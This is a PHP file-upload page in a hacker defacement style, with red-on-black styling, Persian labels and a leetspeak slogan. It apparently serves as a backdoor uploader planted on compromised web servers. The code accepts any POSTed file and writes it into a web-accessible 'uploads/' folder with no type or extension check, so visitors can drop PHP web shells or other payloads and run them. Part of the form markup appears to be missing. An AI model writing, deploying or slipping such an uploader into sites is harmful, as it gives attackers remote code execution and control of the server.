if($_SERVER['REQUEST_METHOD']==='POST'){ $f = $_FILES['file'] ?? null; if($f && $f['error'] === UPLOAD_ERR_OK){ $d = 'uploads/'; if(!is_dir($d)) mkdir($d, 0755, true); $n = basename($f['name']); $p = $d . $n; if(move_uploaded_file($f['tmp_name'], $p)){ echo "<!DOCTYPE html> <meta charset='utf-8'>فایل آپلود شد <title>فایل آپلود شد</title> <style> body { background: #000; color: #f55; font-family: Arial, sans-serif; margin: 0; min-height: 100vh; display: flex; flex-direction: column; align-items: center; justify-content: center; } img { max-width: 100%; margin-top: 30px; margin-bottom: 20px; } .container { border: 2px solid #f55; background: #111; padding: 30px; border-radius: 10px; text-align: center; } a { color: #f55; text-decoration: none; font-size: 18px; word-break: break-all; } a:hover { text-decoration: underline; } </style> <img src='https://i.ibb.co/rfwsZJMt/191919191919119919191919191.jpg' alt='Header Image'> <div class='container'> <p>فایل با موفقیت آپلود شد</p> <p><a href='$p' target='_blank'>$p</a></p> </div>"; exit; } else { echo "<div style='text-align:center'><p style='color:red'>خطا در آپلود</p></div>"; } } else { echo "<div style='text-align:center'><p style='color:red'>خطا در ارسال فایل</p></div>"; } exit;}<!DOCTYPE html> <meta charset="utf-8">آپلودر فایل <title>آپلودر فایل</title> <style> body { font-family: sans-serif; max-width: 600px; margin: 20px auto; padding: 20px; background: #000; color: red; text-align: center; } form { border: 2px dashed red; padding: 20px; display: inline-block; margin: 0 auto; } img { max-width: 100%; margin-bottom: 20px; } </style> <img src="https://i.ibb.co/rfwsZJMt/191919191919119919191919191.jpg" alt="Header Image"> <h2 style="color:red;text-align:center">S0m37im3s, 7h3 si13nc3 y0u h34r d33p wi7hin is 7h3 scr34m 0f 4 s0u1 7h47 n0 l0ng3r h0p3s 70 b3 h34rd


<button type="submit" style="background:black;color:red;border:1px solid red">آپلود فایل</button>